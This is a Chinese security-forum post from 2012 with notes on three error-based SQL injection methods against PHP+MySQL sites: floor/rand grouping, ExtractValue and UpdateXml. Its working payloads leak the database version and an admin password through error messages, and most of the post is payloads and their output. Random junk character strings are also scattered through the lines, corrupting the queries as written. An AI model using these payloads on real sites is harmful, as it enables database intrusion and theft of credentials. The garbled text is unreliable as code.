找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2716|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。/ r! v% k- ]# O( P3 y; Z. I) n+ W" X  i
实际测试环境:- e6 c3 X; r7 W! y' F4 @
​
6 F' C0 A0 o$ C: ?0 S - q1 Z+ p$ e9 J
mysql> show tables;# {9 N* J9 T4 o5 ?; c/ t
+----------------+
& d9 G. v5 i/ O4 |9 }| Tables_in_test |; F+ ]- n& j5 T. d# |9 a
+----------------+  R9 O- l  U) g# a' d9 A: a
| admin          |2 z, @2 ]8 c) b+ F% U) ^; L
| article        |! O  c& {. m. i3 D" H) o( h
+----------------+
' l. O: r# F; t' X3 d
5 E6 y+ P+ Y% f' l# Z) E6 Y
# f+ B6 l) E: \! L8 P2 c4 q1 U 7 T% N( y, v2 m7 s" z
mysql> describe admin;
7 N) i) O: d8 [+ I: x9 D+-------+------------------+------+-----+---------+----------------+/ m/ q8 v! d6 d' I  f  d( n
| Field | Type             | Null | Key | Default | Extra          |
/ S& W; C& d4 n! @& N1 R+-------+------------------+------+-----+---------+----------------+* b) X6 Z# @' l# Q3 Q" v; |- X5 [
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |7 w- i6 P4 R9 o% P  s  o
| user  | varchar(50)      | NO   |     | NULL    |                |
4 n* @9 n4 Y' f: c  I| pass  | varchar(50)      | NO   |     | NULL    |                |
! R  V: }8 v" C$ A7 O& z3 E; M+-------+------------------+------+-----+---------+----------------+& o! Q& o( ]( P7 S4 Q
4 l. j& P0 z$ T# s

1 A, w) j0 ^$ X! V1 p0 m # F8 a! f( p  g* L/ g* @5 w5 R
mysql> describe article;& H0 v. ]  Y; R; d( b  ^; ^6 D
+---------+------------------+------+-----+---------+----------------+
1 U: I# Q8 g5 _+ c| Field   | Type             | Null | Key | Default | Extra          |$ p: l% G2 {* {0 t9 g3 K
+---------+------------------+------+-----+---------+----------------+
5 W9 V( E+ g( _9 l| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |$ k% d$ s* T" f+ Q( n/ ?0 c
| title   | varchar(50)      | NO   |     | NULL    |                |
% O1 ?3 y3 B* E% k; {; K- t| content | varchar(50)      | NO   |     | NULL    |                |' Z1 O) D# \$ O# C: o
+---------+------------------+------+-----+---------+----------------+
4 S" q1 n; N0 i' ]" t+ |& h! v1、通过floor报错% C3 J% t& X# ~) w" V* B8 |
可以通过如下一些利用代码, y2 k. @- b  l) a1 g' v1 @0 o% a

9 F1 x& |/ _' h% X0 Y - k0 D( e! Y- N7 f, D( u8 E
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x* S8 {  y; ~* ~! [" r  ^  o
from information_schema.tables group by x)a);9 x# m5 a4 ]( g: H, F
1 O3 \, W' ?  Z; v: w5 B

8 m! B: f* K* z7 l6 _4 _and (select count(*) from (select 1 union select null union select !1)x9 L, Y$ R# q4 J8 l: D+ m$ }6 C
group by concat((select table_name from information_schema.tables limit 1),
* @. }# g+ N/ Z. M. G9 nfloor(rand(0)*2)));7 K2 O- k$ w" ^) ]3 \
举例如下:7 y& c: K) f1 F2 f0 Q# \+ U4 t! D- u# U
首先进行正常查询:! j7 t8 M& I& b! X

2 u% @# m! j/ n2 W" Mmysql> select * from article where id = 1;
/ d% U$ A& E7 x+----+-------+---------+5 a7 S, @) K0 ]2 N$ z& E
| id | title | content |
1 `2 T1 Y2 M8 z' M* j1 }& Y- @4 J+----+-------+---------+
, x3 q/ F- e* j; x|  1 | test  | do it   |
. D7 Z* ^( X4 A7 \! n- y- C+----+-------+---------+5 v9 z1 j+ N- N1 a+ }1 S# S& F
假如id输入存在注入的话,可以通过如下语句进行报错。
! M- R$ R" e" t0 X! {6 E
  o0 X$ C  C' o% Z9 F
' ]" j& `" o% p# R  d+ B% emysql> select * from article where id = 1 and (select 1 from
- O3 R- _1 m9 w& f(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);& P* n! B7 o6 a/ g1 g1 X
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'# I# _9 r) T9 y5 d
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。7 H4 W) P$ z* y/ _8 x0 r/ M
例如我们需要查询管理员用户名和密码:" d( v0 T$ C6 h' E' w- k/ y* G
Method1:; D' U* V1 [, |7 d- Z

/ p( h: f( b$ U: h) W( J2 K8 {1 v
% L, X+ s( ?2 Q7 t6 Umysql> select * from article where id = 1 and (select 1 from
5 q5 E$ o- n6 e$ v; o(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x" H. H9 z. v3 Y# m, h! x/ U  j
from information_schema.tables group by x)a);
- f, `" X  r$ {" [9 JERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
. a7 p" r8 k  W: ~, @' YMethod2:
) E" B) |( p/ @4 }" k1 N$ }, L1 V
% H) t: }$ N* V7 x& m5 a1 W1 d% f) Q 7 _3 C! \& J& s: Q& N* F
mysql> select * from article where id = 1 and (select count(*)
1 ], R( s, v4 r3 Tfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
) @1 h" U# ^& ~: hfloor(rand(0)*2)));
- X$ X2 m8 D; V- S2 ?ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
6 l# J% a  c3 O# r1 J; g2、ExtractValue
7 f! c8 V9 o* Y" |4 e% R+ p测试语句如下
5 p  t1 U; Z" |1 {; [ : f5 u) U. J+ y8 m: u' J3 p

/ W/ t, n0 K6 r7 Eand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
# C  d) T" ]" B, \- ~& I/ h) j实际测试过程
5 }, x" z7 W9 H5 Y( j
( h/ ]8 ^0 c/ c! u* W, P1 f
6 \9 }6 V6 B7 O$ d4 q% q4 l4 `mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
' M) ^5 {" o* |; a(select pass from admin limit 1)));--0 C9 n2 I" I( P
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
2 y$ D6 f( N5 S+ U1 I: y  B3、UpdateXml
# g( S- [  h* p# F( m测试语句! L% E/ U6 R6 S6 e7 ^

2 ]# ?) H( ?  q5 M* F: ? : b7 }+ B3 M  r, a" O& ?1 t2 s+ r# a
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
" C- b, Q) {% n5 J, I! ^7 e实际测试过程0 `  v7 T. F/ [0 h
# ]  i3 a7 Z# W' O

( e8 N/ B8 d, l  H& l) S0 S& }mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,6 h% B2 L: I' C/ Y; a# T! h; `
(select pass from admin limit 1),0x5e24),1));
1 z; n* e% R& Z3 c% pERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'2 p5 F0 B6 w# p) J5 a5 R5 n
All, thanks foreign guys.
( y4 b( C' u: f5 R & Z6 [- w( e& c# h. m
​* H( S1 B" [  U: v8 x8 _" D! X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表